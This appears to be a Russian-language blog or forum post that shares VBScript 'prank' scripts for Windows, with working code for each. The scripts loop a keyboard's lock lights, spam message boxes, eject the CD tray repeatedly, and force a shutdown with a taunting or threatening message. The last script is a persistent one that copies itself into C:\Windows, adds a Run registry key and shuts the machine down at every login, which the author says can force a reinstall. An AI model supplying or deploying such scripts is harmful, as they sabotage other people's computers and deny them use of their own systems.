Тут я вам расскажу несколько приколов с VBS. Что такое VBS? Из википедии: Visual Basic Scripting Edition (обычно просто VBScript) — скриптовый язык программирования, интерпретируемый компонентом Windows Script Host. Он широко используется при создании скриптов в операционных системах семейства Microsoft Windows. От себя: Из vbs можно сделать от обычного безобидного прикола до опасного вируса который снесет систему. Первый прикол будет мигать лампочками на клаве (Которые подсвечивают Lock кнопки)
Set s = CreateObject("Wscript.Shell") do wscript.sleep 80 s.sendkeys"{numlock}" wscript.sleep 80 s.sendkeys"{capslock}" wscript.sleep 80 s.sendkeys"{scrolllock}" wscript.sleep 80
Мигать будет пока не завершится процесс wscript.exe
Второй прикол будет бесконечно выдавать диалоговое окно с вашей надписью.
do msgbox "Текст",20,"Заголовок" loop (Все что стоит после do и до loop - бесконечно.)
Вместо "20" по середине можно ввести другое число,например 1 и будет только кнопка "ок"
Третий прикол будет открывать,закрывать дисковод с не большим интервалом
Set ovladani = CreateObject("WMPlayer.OCX.7" ) Set mechaniky = ovladani.cdromCollection If mechaniky.Count Then For i = 0 To mechaniky.Count - 1 mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject mechaniky.Item(i).Eject
Next End If
Четвертый будет выключать комп
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") for each OpSys in OpSysSet OpSys.ShutDown() next msgbox "Ваш текст, от насмешки до угрозы :)"
Можно в начало скрипта поставить WScript.Sleep 60000 и комп выключится через минуту.
Пятый самый опасный,вплоть до переустановки системы. Комп будет выключаться при входе в систему. Назовем файл 1.vbs
Set FSO=CreateObject("Scripting.FileSystemObject") ' Получаем доступ к обьекту FSO FSO.CopyFile "1.vbs", "C:\Windows\" 'Копируем второй скрипт из текущей дирeктории на хард юзера Set WshShell = CreateObject("WScript.Shell") WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Window", "C:\Windows\1.vbs"
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") for each OpSys in OpSysSet OpSys.ShutDown() next msgbox "Ваш текст, от насмешки до угрозы :)"
С vbs можно сделать многое,советую набрать в поиске "приколы vbs" может найдете что нибудь интересное ;) Удачи,юзьверы ;)
Войти на сайт